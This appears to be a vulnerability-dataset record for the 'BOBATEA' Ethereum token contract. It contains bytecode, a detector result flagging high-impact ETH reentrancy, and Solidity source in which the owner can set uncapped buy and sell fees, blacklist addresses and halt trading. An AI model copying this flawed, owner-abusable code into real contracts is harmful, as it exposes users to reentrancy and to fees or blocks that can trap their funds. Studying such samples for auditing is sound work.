0060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f148c54cdcf6a714fd4481503abd4c9c65db905ecdef6a2aaaf0d3b0fbdf48a64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,381 |
0xd72782e8a918ed4add52aa0a5ca4861fb02000ad
|
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BOBATEA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BOBATEA";//
string private constant _symbol = "TEA";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;//
uint256 private _taxFeeOnBuy = 7;//
//Sell Fee
uint256 private _redisFeeOnSell = 1;//
uint256 private _taxFeeOnSell = 23;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x845F3b83F6ac04B13776b7613816C3eAC8229EaE);//
address payable private _marketingAddress = payable(0x845F3b83F6ac04B13776b7613816C3eAC8229EaE);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000000000 * 10**9; //
uint256 public _maxWalletSize = 20000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 15000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = 2;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130cb565b610702565b005b34801561021157600080fd5b5061021a610852565b6040516102279190613514565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613037565b61088f565b60405161026491906134de565b60405180910390f35b34801561027957600080fd5b506102826108ad565b60405161028f91906134f9565b60405180910390f35b3480156102a457600080fd5b506102ad6108d3565b6040516102ba91906136f6565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fe8565b6108e4565b6040516102f791906134de565b60405180910390f35b34801561030c57600080fd5b506103156109bd565b60405161032291906136f6565b60405180910390f35b34801561033757600080fd5b506103406109c3565b60405161034d919061376b565b60405180910390f35b34801561036257600080fd5b5061036b6109cc565b60405161037891906134c3565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f5a565b6109f2565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061310c565b610ae2565b005b3480156103df57600080fd5b506103e8610b93565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f5a565b610c64565b60405161041e91906136f6565b60405180910390f35b34801561043357600080fd5b5061043c610cb5565b005b34801561044a57600080fd5b5061046560048036038101906104609190613135565b610e08565b005b34801561047357600080fd5b5061047c610ea7565b60405161048991906136f6565b60405180910390f35b34801561049e57600080fd5b506104a7610ead565b6040516104b491906134c3565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061310c565b610ed6565b005b3480156104f257600080fd5b506104fb610f90565b60405161050891906136f6565b60405180910390f35b34801561051d57600080fd5b50610526610f96565b6040516105339190613514565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613135565b610fd3565b005b34801561057157600080fd5b5061058c6004803603810190610587919061315e565b611072565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613037565b611129565b6040516105c291906134de565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f5a565b611147565b6040516105ff91906134de565b60405180910390f35b34801561061457600080fd5b5061061d611167565b005b34801561062b57600080fd5b5061064660048036038101906106419190613073565b611240565b005b34801561065457600080fd5b5061065d6113a0565b60405161066a91906136f6565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612fac565b6113a6565b6040516106a791906136f6565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613135565b61142d565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612f5a565b6114cc565b005b61070a61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613656565b60405180910390fd5b60005b815181101561084e576001601160008484815181106107e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084690613a30565b91505061079a565b5050565b60606040518060400160405280600781526020017f424f424154454100000000000000000000000000000000000000000000000000815250905090565b60006108a361089c61168e565b8484611696565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108f1848484611861565b6109b2846108fd61168e565b6109ad85604051806060016040528060288152602001613f3d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096361168e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122359092919063ffffffff16565b611696565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109fa61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e90613656565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610aea61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6e90613656565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd461168e565b73ffffffffffffffffffffffffffffffffffffffff161480610c4a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3261168e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c5357600080fd5b6000479050610c6181612299565b50565b6000610cae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612394565b9050919050565b610cbd61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4190613656565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e1061168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9490613656565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ede61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6290613656565b60405180910390fd5b80601660146101000a81548160ff021916908315150217905550600260088190555050565b60185481565b60606040518060400160405280600381526020017f5445410000000000000000000000000000000000000000000000000000000000815250905090565b610fdb61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105f90613656565b60405180910390fd5b8060198190555050565b61107a61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fe90613656565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061113d61113661168e565b8484611861565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a861168e565b73ffffffffffffffffffffffffffffffffffffffff16148061121e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120661168e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122757600080fd5b600061123230610c64565b905061123d81612402565b50565b61124861168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613656565b60405180910390fd5b60005b8383905081101561139a578160056000868685818110611321577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113369190612f5a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061139290613a30565b9150506112d8565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61143561168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b990613656565b60405180910390fd5b8060188190555050565b6114d461168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890613656565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c8906135b6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd906136d6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176d906135d6565b60405180910390fd5b8060